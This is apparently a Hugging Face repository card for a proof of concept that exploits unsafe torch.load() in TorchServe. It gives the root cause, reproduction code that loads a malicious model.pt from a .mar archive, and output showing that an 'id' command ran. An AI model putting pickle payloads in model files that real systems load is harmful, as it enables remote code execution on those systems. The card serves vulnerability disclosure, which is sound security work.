YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
PyTorch Archive (.mar) โ Arbitrary Code Execution PoC
Proof-of-concept for unsafe torch.load() in TorchServe base_handler.py.
Root Cause
ts/torch_handler/base_handler.py:355 in TorchServe calls torch.load() without weights_only=True:
state_dict = torch.load(model_pt_path, map_location=map_location)
A .mar archive is a ZIP file containing model.pt. When loaded by TorchServe (or simulated via torch.load), a malicious model.pt with a __reduce__ payload triggers RCE.
Reproduce
import torch, zipfile
with zipfile.ZipFile('malicious.mar', 'r') as zf:
zf.extractall('/tmp/mar_extracted')
# Simulates TorchServe base_handler.py:355
state_dict = torch.load('/tmp/mar_extracted/model.pt', map_location='cpu')
# id > /tmp/mar_rce_output.txt executes
Verified Output
uid=501(wulonchia) gid=20(staff) groups=20(staff),...
PyTorch FutureWarning confirms: weights_only=False is the unsafe default.
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support